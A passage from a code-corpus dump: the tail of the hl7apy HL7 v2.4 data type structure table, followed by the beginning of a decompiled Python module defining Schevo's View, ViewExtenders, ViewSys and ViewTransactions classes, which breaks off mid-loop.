DATATYPES['CWE_9'], (0, 1), 'CMP'),),\n 'CX': (\n ('CX_1', DATATYPES['CX_1'], (0, 1), 'CMP'),\n ('CX_2', DATATYPES['CX_2'], (0, 1), 'CMP'),\n ('CX_3', DATATYPES['CX_3'], (0, 1), 'CMP'),\n ('CX_4', DATATYPES['CX_4'], (0, 1), 'CMP'),\n ('CX_5', DATATYPES['CX_5'], (0, 1), 'CMP'),\n ('CX_6', DATATYPES['CX_6'], (0, 1), 'CMP'),\n ('CX_7', DATATYPES['CX_7'], (0, 1), 'CMP'),\n ('CX_8', DATATYPES['CX_8'], (0, 1), 'CMP'),),\n 'DDI': (\n ('DDI_1', DATATYPES['DDI_1'], (0, 1), 'CMP'),\n ('DDI_2', DATATYPES['DDI_2'], (0, 1), 'CMP'),\n ('DDI_3', DATATYPES['DDI_3'], (0, 1), 'CMP'),),\n 'DIN': (\n ('DIN_1', DATATYPES['DIN_1'], (0, 1), 'CMP'),\n ('DIN_2', DATATYPES['DIN_2'], (0, 1), 'CMP'),),\n 'DLD': (\n ('DLD_1', DATATYPES['DLD_1'], (0, 1), 'CMP'),\n ('DLD_2', DATATYPES['DLD_2'], (0, 1), 'CMP'),),\n 'DLN': (\n ('DLN_1', DATATYPES['DLN_1'], (0, 1), 'CMP'),\n ('DLN_2', DATATYPES['DLN_2'], (0, 1), 'CMP'),\n ('DLN_3', DATATYPES['DLN_3'], (0, 1), 'CMP'),),\n 'DLT': (\n ('DLT_1', DATATYPES['DLT_1'], (0, 1), 'CMP'),\n ('DLT_2', DATATYPES['DLT_2'], (0, 1), 'CMP'),\n ('DLT_3', DATATYPES['DLT_3'], (0, 1), 'CMP'),\n ('DLT_4', DATATYPES['DLT_4'], (0, 1), 'CMP'),),\n 'DR': (\n ('DR_1', DATATYPES['DR_1'], (0, 1), 'CMP'),\n ('DR_2', DATATYPES['DR_2'], (0, 1), 'CMP'),),\n 'DR_SIMPLE': (\n ('DR_SIMPLE_1', DATATYPES['DR_SIMPLE_1'], (0, 1), 'CMP'),\n ('DR_SIMPLE_2', DATATYPES['DR_SIMPLE_2'], (0, 1), 'CMP'),),\n 'DTN': (\n ('DTN_1', DATATYPES['DTN_1'], (0, 1), 'CMP'),\n ('DTN_2', DATATYPES['DTN_2'], (0, 1), 'CMP'),),\n 'ED': (\n ('ED_1', DATATYPES['ED_1'], (0, 1), 'CMP'),\n ('ED_2', DATATYPES['ED_2'], (0, 1), 'CMP'),\n ('ED_3', DATATYPES['ED_3'], (0, 1), 'CMP'),\n ('ED_4', DATATYPES['ED_4'], (0, 1), 'CMP'),\n ('ED_5', DATATYPES['ED_5'], (0, 1), 'CMP'),),\n 'EI': (\n ('EI_1', DATATYPES['EI_1'], (0, 1), 'CMP'),\n ('EI_2', DATATYPES['EI_2'], (0, 1), 'CMP'),\n ('EI_3', DATATYPES['EI_3'], (0, 1), 'CMP'),\n ('EI_4', DATATYPES['EI_4'], (0, 1), 'CMP'),),\n 'EIP': (\n ('EIP_1', DATATYPES['EIP_1'], (0, 1), 'CMP'),\n ('EIP_2', DATATYPES['EIP_2'], (0, 1), 'CMP'),),\n 'ELD': (\n ('ELD_1', DATATYPES['ELD_1'], (0, 1), 'CMP'),\n ('ELD_2', DATATYPES['ELD_2'], (0, 1), 'CMP'),\n ('ELD_3', DATATYPES['ELD_3'], (0, 1), 'CMP'),\n ('ELD_4', DATATYPES['ELD_4'], (0, 1), 'CMP'),),\n 'FC': (\n ('FC_1', DATATYPES['FC_1'], (0, 1), 'CMP'),\n ('FC_2', DATATYPES['FC_2'], (0, 1), 'CMP'),),\n 'FN': (\n ('FN_1', DATATYPES['FN_1'], (0, 1), 'CMP'),\n ('FN_2', DATATYPES['FN_2'], (0, 1), 'CMP'),\n ('FN_3', DATATYPES['FN_3'], (0, 1), 'CMP'),\n ('FN_4', DATATYPES['FN_4'], (0, 1), 'CMP'),\n ('FN_5', DATATYPES['FN_5'], (0, 1), 'CMP'),),\n 'HD': (\n ('HD_1', DATATYPES['HD_1'], (0, 1), 'CMP'),\n ('HD_2', DATATYPES['HD_2'], (0, 1), 'CMP'),\n ('HD_3', DATATYPES['HD_3'], (0, 1), 'CMP'),),\n 'JCC': (\n ('JCC_1', DATATYPES['JCC_1'], (0, 1), 'CMP'),\n ('JCC_2', DATATYPES['JCC_2'], (0, 1), 'CMP'),),\n 'LA1': (\n ('LA1_1', DATATYPES['LA1_1'], (0, 1), 'CMP'),\n ('LA1_2', DATATYPES['LA1_2'], (0, 1), 'CMP'),\n ('LA1_3', DATATYPES['LA1_3'], (0, 1), 'CMP'),\n ('LA1_4', DATATYPES['LA1_4'], (0, 1), 'CMP'),\n ('LA1_5', DATATYPES['LA1_5'], (0, 1), 'CMP'),\n ('LA1_6', DATATYPES['LA1_6'], (0, 1), 'CMP'),\n ('LA1_7', DATATYPES['LA1_7'], (0, 1), 'CMP'),\n ('LA1_8', DATATYPES['LA1_8'], (0, 1), 'CMP'),\n ('LA1_9', DATATYPES['LA1_9'], (0, 1), 'CMP'),),\n 'LA2': (\n ('LA2_1', DATATYPES['LA2_1'], (0, 1), 'CMP'),\n ('LA2_2', DATATYPES['LA2_2'], (0, 1), 'CMP'),\n ('LA2_3', DATATYPES['LA2_3'], (0, 1), 'CMP'),\n ('LA2_4', DATATYPES['LA2_4'], (0, 1), 'CMP'),\n ('LA2_5', DATATYPES['LA2_5'], (0, 1), 'CMP'),\n ('LA2_6', DATATYPES['LA2_6'], (0, 1), 'CMP'),\n ('LA2_7', DATATYPES['LA2_7'], (0, 1), 'CMP'),\n ('LA2_8', DATATYPES['LA2_8'], (0, 1), 'CMP'),\n ('LA2_9', DATATYPES['LA2_9'], (0, 1), 'CMP'),\n ('LA2_10', DATATYPES['LA2_10'], (0, 1), 'CMP'),\n ('LA2_11', DATATYPES['LA2_11'], (0, 1), 'CMP'),\n ('LA2_12', DATATYPES['LA2_12'], (0, 1), 'CMP'),\n ('LA2_13', DATATYPES['LA2_13'], (0, 1), 'CMP'),\n ('LA2_14', DATATYPES['LA2_14'], (0, 1), 'CMP'),\n ('LA2_15', DATATYPES['LA2_15'], (0, 1), 'CMP'),\n ('LA2_16', DATATYPES['LA2_16'], (0, 1), 'CMP'),),\n 'MA': (\n ('MA_1', DATATYPES['MA_1'], (0, 1), 'CMP'),\n ('MA_2', DATATYPES['MA_2'], (0, 1), 'CMP'),\n ('MA_3', DATATYPES['MA_3'], (0, 1), 'CMP'),\n ('MA_4', DATATYPES['MA_4'], (0, 1), 'CMP'),\n ('MA_5', DATATYPES['MA_5'], (0, 1), 'CMP'),\n ('MA_6', DATATYPES['MA_6'], (0, 1), 'CMP'),),\n 'MO': (\n ('MO_1', DATATYPES['MO_1'], (0, 1), 'CMP'),\n ('MO_2', DATATYPES['MO_2'], (0, 1), 'CMP'),),\n 'MOC': (\n ('MOC_1', DATATYPES['MOC_1'], (0, 1), 'CMP'),\n ('MOC_2', DATATYPES['MOC_2'], (0, 1), 'CMP'),),\n 'MOP': (\n ('MOP_1', DATATYPES['MOP_1'], (0, 1), 'CMP'),\n ('MOP_2', DATATYPES['MOP_2'], (0, 1), 'CMP'),),\n 'MSG': (\n ('MSG_1', DATATYPES['MSG_1'], (0, 1), 'CMP'),\n ('MSG_2', DATATYPES['MSG_2'], (0, 1), 'CMP'),\n ('MSG_3', DATATYPES['MSG_3'], (0, 1), 'CMP'),),\n 'NA': (\n ('NA_1', DATATYPES['NA_1'], (0, 1), 'CMP'),\n ('NA_2', DATATYPES['NA_2'], (0, 1), 'CMP'),\n ('NA_3', DATATYPES['NA_3'], (0, 1), 'CMP'),\n ('NA_4', DATATYPES['NA_4'], (0, 1), 'CMP'),),\n 'NDL': (\n ('NDL_1', DATATYPES['NDL_1'], (0, 1), 'CMP'),\n ('NDL_2', DATATYPES['NDL_2'], (0, 1), 'CMP'),\n ('NDL_3', DATATYPES['NDL_3'], (0, 1), 'CMP'),\n ('NDL_4', DATATYPES['NDL_4'], (0, 1), 'CMP'),\n ('NDL_5', DATATYPES['NDL_5'], (0, 1), 'CMP'),\n ('NDL_6', DATATYPES['NDL_6'], (0, 1), 'CMP'),\n ('NDL_7', DATATYPES['NDL_7'], (0, 1), 'CMP'),\n ('NDL_8', DATATYPES['NDL_8'], (0, 1), 'CMP'),\n ('NDL_9', DATATYPES['NDL_9'], (0, 1), 'CMP'),\n ('NDL_10', DATATYPES['NDL_10'], (0, 1), 'CMP'),\n ('NDL_11', DATATYPES['NDL_11'], (0, 1), 'CMP'),),\n 'NR': (\n ('NR_1', DATATYPES['NR_1'], (0, 1), 'CMP'),\n ('NR_2', DATATYPES['NR_2'], (0, 1), 'CMP'),),\n 'OCD': (\n ('OCD_1', DATATYPES['OCD_1'], (0, 1), 'CMP'),\n ('OCD_2', DATATYPES['OCD_2'], (0, 1), 'CMP'),),\n 'OSD': (\n ('OSD_1', DATATYPES['OSD_1'], (0, 1), 'CMP'),\n ('OSD_2', DATATYPES['OSD_2'], (0, 1), 'CMP'),\n ('OSD_3', DATATYPES['OSD_3'], (0, 1), 'CMP'),\n ('OSD_4', DATATYPES['OSD_4'], (0, 1), 'CMP'),\n ('OSD_5', DATATYPES['OSD_5'], (0, 1), 'CMP'),\n ('OSD_6', DATATYPES['OSD_6'], (0, 1), 'CMP'),\n ('OSD_7', DATATYPES['OSD_7'], (0, 1), 'CMP'),\n ('OSD_8', DATATYPES['OSD_8'], (0, 1), 'CMP'),\n ('OSD_9', DATATYPES['OSD_9'], (0, 1), 'CMP'),\n ('OSD_10', DATATYPES['OSD_10'], (0, 1), 'CMP'),\n ('OSD_11', DATATYPES['OSD_11'], (0, 1), 'CMP'),),\n 'OSP': (\n ('OSP_1', DATATYPES['OSP_1'], (0, 1), 'CMP'),\n ('OSP_2', DATATYPES['OSP_2'], (0, 1), 'CMP'),\n ('OSP_3', DATATYPES['OSP_3'], (0, 1), 'CMP'),),\n 'PCF': (\n ('PCF_1', DATATYPES['PCF_1'], (0, 1), 'CMP'),\n ('PCF_2', DATATYPES['PCF_2'], (0, 1), 'CMP'),\n ('PCF_3', DATATYPES['PCF_3'], (0, 1), 'CMP'),),\n 'PI': (\n ('PI_1', DATATYPES['PI_1'], (0, 1), 'CMP'),\n ('PI_2', DATATYPES['PI_2'], (0, 1), 'CMP'),\n ('PI_3', DATATYPES['PI_3'], (0, 1), 'CMP'),),\n 'PIP': (\n ('PIP_1', DATATYPES['PIP_1'], (0, 1), 'CMP'),\n ('PIP_2', DATATYPES['PIP_2'], (0, 1), 'CMP'),\n ('PIP_3', DATATYPES['PIP_3'], (0, 1), 'CMP'),\n ('PIP_4', DATATYPES['PIP_4'], (0, 1), 'CMP'),\n ('PIP_5', DATATYPES['PIP_5'], (0, 1), 'CMP'),),\n 'PL': (\n ('PL_1', DATATYPES['PL_1'], (0, 1), 'CMP'),\n ('PL_2', DATATYPES['PL_2'], (0, 1), 'CMP'),\n ('PL_3', DATATYPES['PL_3'], (0, 1), 'CMP'),\n ('PL_4', DATATYPES['PL_4'], (0, 1), 'CMP'),\n ('PL_5', DATATYPES['PL_5'], (0, 1), 'CMP'),\n ('PL_6', DATATYPES['PL_6'], (0, 1), 'CMP'),\n ('PL_7', DATATYPES['PL_7'], (0, 1), 'CMP'),\n ('PL_8', DATATYPES['PL_8'], (0, 1), 'CMP'),\n ('PL_9', DATATYPES['PL_9'], (0, 1), 'CMP'),),\n 'PLN': (\n ('PLN_1', DATATYPES['PLN_1'], (0, 1), 'CMP'),\n ('PLN_2', DATATYPES['PLN_2'], (0, 1), 'CMP'),\n ('PLN_3', DATATYPES['PLN_3'], (0, 1), 'CMP'),\n ('PLN_4', DATATYPES['PLN_4'], (0, 1), 'CMP'),),\n 'PN': (\n ('PN_1', DATATYPES['PN_1'], (0, 1), 'CMP'),\n ('PN_2', DATATYPES['PN_2'], (0, 1), 'CMP'),\n ('PN_3', DATATYPES['PN_3'], (0, 1), 'CMP'),\n ('PN_4', DATATYPES['PN_4'], (0, 1), 'CMP'),\n ('PN_5', DATATYPES['PN_5'], (0, 1), 'CMP'),\n ('PN_6', DATATYPES['PN_6'], (0, 1), 'CMP'),),\n 'PPN': (\n ('PPN_1', DATATYPES['PPN_1'], (0, 1), 'CMP'),\n ('PPN_2', DATATYPES['PPN_2'], (0, 1), 'CMP'),\n ('PPN_3', DATATYPES['PPN_3'], (0, 1), 'CMP'),\n ('PPN_4', DATATYPES['PPN_4'], (0, 1), 'CMP'),\n ('PPN_5', DATATYPES['PPN_5'], (0, 1), 'CMP'),\n ('PPN_6', DATATYPES['PPN_6'], (0, 1), 'CMP'),\n ('PPN_7', DATATYPES['PPN_7'], (0, 1), 'CMP'),\n ('PPN_8', DATATYPES['PPN_8'], (0, 1), 'CMP'),\n ('PPN_9', DATATYPES['PPN_9'], (0, 1), 'CMP'),\n ('PPN_10', DATATYPES['PPN_10'], (0, 1), 'CMP'),\n ('PPN_11', DATATYPES['PPN_11'], (0, 1), 'CMP'),\n ('PPN_12', DATATYPES['PPN_12'], (0, 1), 'CMP'),\n ('PPN_13', DATATYPES['PPN_13'], (0, 1), 'CMP'),\n ('PPN_14', DATATYPES['PPN_14'], (0, 1), 'CMP'),\n ('PPN_15', DATATYPES['PPN_15'], (0, 1), 'CMP'),\n ('PPN_16', DATATYPES['PPN_16'], (0, 1), 'CMP'),\n ('PPN_17', DATATYPES['PPN_17'], (0, 1), 'CMP'),\n ('PPN_18', DATATYPES['PPN_18'], (0, 1), 'CMP'),\n ('PPN_19', DATATYPES['PPN_19'], (0, 1), 'CMP'),),\n 'PRL': (\n ('PRL_1', DATATYPES['PRL_1'], (0, 1), 'CMP'),\n ('PRL_2', DATATYPES['PRL_2'], (0, 1), 'CMP'),\n ('PRL_3', DATATYPES['PRL_3'], (0, 1), 'CMP'),),\n 'PT': (\n ('PT_1', DATATYPES['PT_1'], (0, 1), 'CMP'),\n ('PT_2', DATATYPES['PT_2'], (0, 1), 'CMP'),),\n 'PTA': (\n ('PTA_1', DATATYPES['PTA_1'], (0, 1), 'CMP'),\n ('PTA_2', DATATYPES['PTA_2'], (0, 1), 'CMP'),\n ('PTA_3', DATATYPES['PTA_3'], (0, 1), 'CMP'),),\n 'QIP': (\n ('QIP_1', DATATYPES['QIP_1'], (0, 1), 'CMP'),\n ('QIP_2', DATATYPES['QIP_2'], (0, 1), 'CMP'),),\n 'QSC': (\n ('QSC_1', DATATYPES['QSC_1'], (0, 1), 'CMP'),\n ('QSC_2', DATATYPES['QSC_2'], (0, 1), 'CMP'),\n ('QSC_3', DATATYPES['QSC_3'], (0, 1), 'CMP'),\n ('QSC_4', DATATYPES['QSC_4'], (0, 1), 'CMP'),),\n 'RCD': (\n ('RCD_1', DATATYPES['RCD_1'], (0, 1), 'CMP'),\n ('RCD_2', DATATYPES['RCD_2'], (0, 1), 'CMP'),\n ('RCD_3', DATATYPES['RCD_3'], (0, 1), 'CMP'),),\n 'RFR': (\n ('RFR_1', DATATYPES['RFR_1'], (0, 1), 'CMP'),\n ('RFR_2', DATATYPES['RFR_2'], (0, 1), 'CMP'),\n ('RFR_3', DATATYPES['RFR_3'], (0, 1), 'CMP'),\n ('RFR_4', DATATYPES['RFR_4'], (0, 1), 'CMP'),\n ('RFR_5', DATATYPES['RFR_5'], (0, 1), 'CMP'),\n ('RFR_6', DATATYPES['RFR_6'], (0, 1), 'CMP'),\n ('RFR_7', DATATYPES['RFR_7'], (0, 1), 'CMP'),),\n 'RI': (\n ('RI_1', DATATYPES['RI_1'], (0, 1), 'CMP'),\n ('RI_2', DATATYPES['RI_2'], (0, 1), 'CMP'),),\n 'RMC': (\n ('RMC_1', DATATYPES['RMC_1'], (0, 1), 'CMP'),\n ('RMC_2', DATATYPES['RMC_2'], (0, 1), 'CMP'),\n ('RMC_3', DATATYPES['RMC_3'], (0, 1), 'CMP'),),\n 'RP': (\n ('RP_1', DATATYPES['RP_1'], (0, 1), 'CMP'),\n ('RP_2', DATATYPES['RP_2'], (0, 1), 'CMP'),\n ('RP_3', DATATYPES['RP_3'], (0, 1), 'CMP'),\n ('RP_4', DATATYPES['RP_4'], (0, 1), 'CMP'),),\n 'SAD': (\n ('SAD_1', DATATYPES['SAD_1'], (0, 1), 'CMP'),\n ('SAD_2', DATATYPES['SAD_2'], (0, 1), 'CMP'),\n ('SAD_3', DATATYPES['SAD_3'], (0, 1), 'CMP'),),\n 'SCV': (\n ('SCV_1', DATATYPES['SCV_1'], (0, 1), 'CMP'),\n ('SCV_2', DATATYPES['SCV_2'], (0, 1), 'CMP'),),\n 'SN': (\n ('SN_1', DATATYPES['SN_1'], (0, 1), 'CMP'),\n ('SN_2', DATATYPES['SN_2'], (0, 1), 'CMP'),\n ('SN_3', DATATYPES['SN_3'], (0, 1), 'CMP'),\n ('SN_4', DATATYPES['SN_4'], (0, 1), 'CMP'),),\n 'SPD': (\n ('SPD_1', DATATYPES['SPD_1'], (0, 1), 'CMP'),\n ('SPD_2', DATATYPES['SPD_2'], (0, 1), 'CMP'),\n ('SPD_3', DATATYPES['SPD_3'], (0, 1), 'CMP'),\n ('SPD_4', DATATYPES['SPD_4'], (0, 1), 'CMP'),),\n 'SPS': (\n ('SPS_1', DATATYPES['SPS_1'], (0, 1), 'CMP'),\n ('SPS_2', DATATYPES['SPS_2'], (0, 1), 'CMP'),\n ('SPS_3', DATATYPES['SPS_3'], (0, 1), 'CMP'),\n ('SPS_4', DATATYPES['SPS_4'], (0, 1), 'CMP'),\n ('SPS_5', DATATYPES['SPS_5'], (0, 1), 'CMP'),\n ('SPS_6', DATATYPES['SPS_6'], (0, 1), 'CMP'),\n ('SPS_7', DATATYPES['SPS_7'], (0, 1), 'CMP'),),\n 'SRT': (\n ('SRT_1', DATATYPES['SRT_1'], (0, 1), 'CMP'),\n ('SRT_2', DATATYPES['SRT_2'], (0, 1), 'CMP'),),\n 'TQ': (\n ('TQ_1', DATATYPES['TQ_1'], (0, 1), 'CMP'),\n ('TQ_2', DATATYPES['TQ_2'], (0, 1), 'CMP'),\n ('TQ_3', DATATYPES['TQ_3'], (0, 1), 'CMP'),\n ('TQ_4', DATATYPES['TQ_4'], (0, 1), 'CMP'),\n ('TQ_5', DATATYPES['TQ_5'], (0, 1), 'CMP'),\n ('TQ_6', DATATYPES['TQ_6'], (0, 1), 'CMP'),\n ('TQ_7', DATATYPES['TQ_7'], (0, 1), 'CMP'),\n ('TQ_8', DATATYPES['TQ_8'], (0, 1), 'CMP'),\n ('TQ_9', DATATYPES['TQ_9'], (0, 1), 'CMP'),\n ('TQ_10', DATATYPES['TQ_10'], (0, 1), 'CMP'),\n ('TQ_11', DATATYPES['TQ_11'], (0, 1), 'CMP'),\n ('TQ_12', DATATYPES['TQ_12'], (0, 1), 'CMP'),),\n 'TS': (\n ('TS_1', DATATYPES['TS_1'], (0, 1), 'CMP'),\n ('TS_2', DATATYPES['TS_2'], (0, 1), 'CMP'),),\n 'TX_CHALLENGE': (\n ('TX_CHALLENGE_1', DATATYPES['TX_CHALLENGE_1'], (0, 1), 'CMP'),\n ('TX_CHALLENGE_2', DATATYPES['TX_CHALLENGE_2'], (0, 1), 'CMP'),),\n 'UVC': (\n ('UVC_1', DATATYPES['UVC_1'], (0, 1), 'CMP'),\n ('UVC_2', DATATYPES['UVC_2'], (0, 1), 'CMP'),),\n 'VH': (\n ('VH_1', DATATYPES['VH_1'], (0, 1), 'CMP'),\n ('VH_2', DATATYPES['VH_2'], (0, 1), 'CMP'),\n ('VH_3', DATATYPES['VH_3'], (0, 1), 'CMP'),\n ('VH_4', DATATYPES['VH_4'], (0, 1), 'CMP'),),\n 'VID': (\n ('VID_1', DATATYPES['VID_1'], (0, 1), 'CMP'),\n ('VID_2', DATATYPES['VID_2'], (0, 1), 'CMP'),\n ('VID_3', DATATYPES['VID_3'], (0, 1), 'CMP'),),\n 'VR': (\n ('VR_1', DATATYPES['VR_1'], (0, 1), 'CMP'),\n ('VR_2', DATATYPES['VR_2'], (0, 1), 'CMP'),),\n 'WVI': (\n ('WVI_1', DATATYPES['WVI_1'], (0, 1), 'CMP'),\n ('WVI_2', DATATYPES['WVI_2'], (0, 1), 'CMP'),),\n 'WVS': (\n ('WVS_1', DATATYPES['WVS_1'], (0, 1), 'CMP'),\n ('WVS_2', DATATYPES['WVS_2'], (0, 1), 'CMP'),),\n 'XAD': (\n ('XAD_1', DATATYPES['XAD_1'], (0, 1), 'CMP'),\n ('XAD_2', DATATYPES['XAD_2'], (0, 1), 'CMP'),\n ('XAD_3', DATATYPES['XAD_3'], (0, 1), 'CMP'),\n ('XAD_4', DATATYPES['XAD_4'], (0, 1), 'CMP'),\n ('XAD_5', DATATYPES['XAD_5'], (0, 1), 'CMP'),\n ('XAD_6', DATATYPES['XAD_6'], (0, 1), 'CMP'),\n ('XAD_7', DATATYPES['XAD_7'], (0, 1), 'CMP'),\n ('XAD_8', DATATYPES['XAD_8'], (0, 1), 'CMP'),\n ('XAD_9', DATATYPES['XAD_9'], (0, 1), 'CMP'),\n ('XAD_10', DATATYPES['XAD_10'], (0, 1), 'CMP'),\n ('XAD_11', DATATYPES['XAD_11'], (0, 1), 'CMP'),\n ('XAD_12', DATATYPES['XAD_12'], (0, 1), 'CMP'),),\n 'XCN': (\n ('XCN_1', DATATYPES['XCN_1'], (0, 1), 'CMP'),\n ('XCN_2', DATATYPES['XCN_2'], (0, 1), 'CMP'),\n ('XCN_3', DATATYPES['XCN_3'], (0, 1), 'CMP'),\n ('XCN_4', DATATYPES['XCN_4'], (0, 1), 'CMP'),\n ('XCN_5', DATATYPES['XCN_5'], (0, 1), 'CMP'),\n ('XCN_6', DATATYPES['XCN_6'], (0, 1), 'CMP'),\n ('XCN_7', DATATYPES['XCN_7'], (0, 1), 'CMP'),\n ('XCN_8', DATATYPES['XCN_8'], (0, 1), 'CMP'),\n ('XCN_9', DATATYPES['XCN_9'], (0, 1), 'CMP'),\n ('XCN_10', DATATYPES['XCN_10'], (0, 1), 'CMP'),\n ('XCN_11', DATATYPES['XCN_11'], (0, 1), 'CMP'),\n ('XCN_12', DATATYPES['XCN_12'], (0, 1), 'CMP'),\n ('XCN_13', DATATYPES['XCN_13'], (0, 1), 'CMP'),\n ('XCN_14', DATATYPES['XCN_14'], (0, 1), 'CMP'),\n ('XCN_15', DATATYPES['XCN_15'], (0, 1), 'CMP'),\n ('XCN_16', DATATYPES['XCN_16'], (0, 1), 'CMP'),\n ('XCN_17', DATATYPES['XCN_17'], (0, 1), 'CMP'),\n ('XCN_18', DATATYPES['XCN_18'], (0, 1), 'CMP'),),\n 'XON': (\n ('XON_1', DATATYPES['XON_1'], (0, 1), 'CMP'),\n ('XON_2', DATATYPES['XON_2'], (0, 1), 'CMP'),\n ('XON_3', DATATYPES['XON_3'], (0, 1), 'CMP'),\n ('XON_4', DATATYPES['XON_4'], (0, 1), 'CMP'),\n ('XON_5', DATATYPES['XON_5'], (0, 1), 'CMP'),\n ('XON_6', DATATYPES['XON_6'], (0, 1), 'CMP'),\n ('XON_7', DATATYPES['XON_7'], (0, 1), 'CMP'),\n ('XON_8', DATATYPES['XON_8'], (0, 1), 'CMP'),\n ('XON_9', DATATYPES['XON_9'], (0, 1), 'CMP'),),\n 'XPN': (\n ('XPN_1', DATATYPES['XPN_1'], (0, 1), 'CMP'),\n ('XPN_2', DATATYPES['XPN_2'], (0, 1), 'CMP'),\n ('XPN_3', DATATYPES['XPN_3'], (0, 1), 'CMP'),\n ('XPN_4', DATATYPES['XPN_4'], (0, 1), 'CMP'),\n ('XPN_5', DATATYPES['XPN_5'], (0, 1), 'CMP'),\n ('XPN_6', DATATYPES['XPN_6'], (0, 1), 'CMP'),\n ('XPN_7', DATATYPES['XPN_7'], (0, 1), 'CMP'),\n ('XPN_8', DATATYPES['XPN_8'], (0, 1), 'CMP'),\n ('XPN_9', DATATYPES['XPN_9'], (0, 1), 'CMP'),\n ('XPN_10', DATATYPES['XPN_10'], (0, 1), 'CMP'),\n ('XPN_11', DATATYPES['XPN_11'], (0, 1), 'CMP'),),\n 'XTN': (\n ('XTN_1', DATATYPES['XTN_1'], (0, 1), 'CMP'),\n ('XTN_2', DATATYPES['XTN_2'], (0, 1), 'CMP'),\n ('XTN_3', DATATYPES['XTN_3'], (0, 1), 'CMP'),\n ('XTN_4', DATATYPES['XTN_4'], (0, 1), 'CMP'),\n ('XTN_5', DATATYPES['XTN_5'], (0, 1), 'CMP'),\n ('XTN_6', DATATYPES['XTN_6'], (0, 1), 'CMP'),\n ('XTN_7', DATATYPES['XTN_7'], (0, 1), 'CMP'),\n ('XTN_8', DATATYPES['XTN_8'], (0, 1), 'CMP'),\n ('XTN_9', DATATYPES['XTN_9'], (0, 1), 'CMP'),),\n}\n\nfor k, v in iteritems(DATATYPES):\n if v[0] == 'sequence':\n v[1] = DATATYPES_STRUCTS[v[2]]","sub_path":"hl7apy/v2_4/datatypes.py","file_name":"datatypes.py","file_ext":"py","file_size_in_byte":52777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"614155275","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.3-fat/egg/schevo/view.py\n# Compiled at: 2007-03-21 14:34:41\n\"\"\"View classes.\n\nFor copyright, license, and warranty, see bottom of file.\n\"\"\"\nimport sys\nfrom schevo.lib import optimize\nfrom schevo import base\nfrom schevo.field import not_fget\nfrom schevo.fieldspec import FieldMap, FieldSpecMap\nfrom schevo.label import label_from_name\nfrom schevo.meta import schema_metaclass\nimport schevo.namespace\nfrom schevo.namespace import NamespaceExtension\n\nclass View(base.View):\n \"\"\"Views mimic the behavior of entities, while providing\n alternative information about them.\"\"\"\n __module__ = __name__\n __metaclass__ = schema_metaclass('V')\n __slots__ = [\n '_entity', '_extent', '_field_map', '_oid', '_rev', 'f', 'm', 'q', 'sys', 't', 'v', 'x']\n _field_spec = FieldSpecMap()\n _hidden_actions = None\n _hidden_queries = None\n\n def __init__(self, entity, *args, **kw):\n self._entity = entity\n self._extent = entity._extent\n self._oid = entity._oid\n self._rev = entity._rev\n f_map = self._field_map = self._field_spec.field_map(instance=self)\n f_map.update_values(entity.sys.field_map(not_fget))\n self._setup(entity, *args, **kw)\n for field in f_map.itervalues():\n field.readonly = True\n\n def _setup(self, entity, *args, **kw):\n \"\"\"Override this in subclasses to customize a view.\"\"\"\n pass\n\n def __getattr__(self, name):\n if name == 'sys':\n self.sys = attr = ViewSys(self)\n elif name == 'f':\n self.f = attr = schevo.namespace.Fields(self)\n elif name == 'm' and self._entity is not None:\n self.m = attr = self._entity.m\n elif name == 'q' and self._entity is not None:\n self.q = attr = self._entity.q\n elif name == 't' and self._entity is not None:\n self.t = attr = ViewTransactions(self._entity, self)\n elif name == 'v' and self._entity is not None:\n self.v = attr = self._entity.v\n elif name == 'x':\n self.x = attr = ViewExtenders(self)\n elif name in self._field_map:\n attr = self._field_map[name].get()\n else:\n msg = 'Field %r does not exist on %r.' % (name, self)\n raise AttributeError(msg)\n return attr\n\n def __setattr__(self, name, value):\n if name == 'sys' or name.startswith('_') or len(name) == 1:\n return base.View.__setattr__(self, name, value)\n elif name in self._field_map:\n self._field_map[name].set(value)\n else:\n msg = 'Field %r does not exist on %r.' % (name, self)\n raise AttributeError(msg)\n\n def __str__(self):\n return str(self._entity)\n\n def __unicode__(self):\n return unicode(self._entity)\n\n\nclass ViewExtenders(NamespaceExtension):\n \"\"\"A namespace of extra attributes.\"\"\"\n __module__ = __name__\n __slots__ = NamespaceExtension.__slots__\n _readonly = False\n\n def __init__(self, view):\n NamespaceExtension.__init__(self)\n d = self._d\n cls = view.__class__\n x_names = []\n for attr in dir(cls):\n if attr.startswith('x_'):\n x_name = attr\n func = getattr(cls, x_name)\n if func.im_self is None:\n x_names.append(x_name)\n\n for x_name in x_names:\n name = x_name[2:]\n func = getattr(view, x_name)\n d[name] = func\n\n return\n\n\nclass ViewSys(NamespaceExtension):\n __module__ = __name__\n __slots__ = NamespaceExtension.__slots__ + ['_view']\n\n def __init__(self, view):\n NamespaceExtension.__init__(self)\n self._view = view\n\n @property\n def entity(self):\n return self._view._entity\n\n def field_map(self, *filters):\n \"\"\"Return field_map for the view, filtered by optional\n callable objects specified in `filters`.\"\"\"\n new_fields = self._view._field_map.itervalues()\n for filt in filters:\n new_fields = [ field for field in new_fields if filt(field) ]\n\n return FieldMap(((field.name, field) for field in new_fields))\n\n @property\n def count(self):\n return self._view._entity.sys.count\n\n @property\n def exists(self):\n \"\"\"Return True if the entity exists; False if it was deleted.\"\"\"\n return self._view._entity.sys.exists\n\n @property\n def count(self):\n return self._view._entity.sys.count\n\n @property\n def exists(self):\n \"\"\"Return True if the entity exists; False if it was deleted.\"\"\"\n return self._view._entity.sys.exists\n\n @property\n def extent(self):\n return self._view._entity.sys.extent\n\n @property\n def extent_name(self):\n return self.extent.name\n\n @property\n def links(self):\n return self._view._entity.sys.links\n\n @property\n def oid(self):\n return self._view._entity.sys.oid\n\n @property\n def rev(self):\n return self._view._entity.sys.rev\n\n\nclass ViewTransactions(NamespaceExtension):\n \"\"\"A namespace of view-level transactions.\"\"\"\n __module__ = __name__\n __slots__ = NamespaceExtension.__slots__ + ['_v']\n\n def __init__(self, entity, view):\n NamespaceExtension.__init__(self)\n d = self._d\n self._v = view\n for t_name in entity._t_names:\n func = getattr(entity, t_name)\n name = t_name[2:]\n d[name] = func\n\n cls = view.__class__\n t_names = []\n for attr in dir(cls):\n if attr.startswith('t_'):\n t_name = attr\n func = getattr(cls, t_name)\n if func.im_self is None:\n t_names.append(t_name)\n\n for 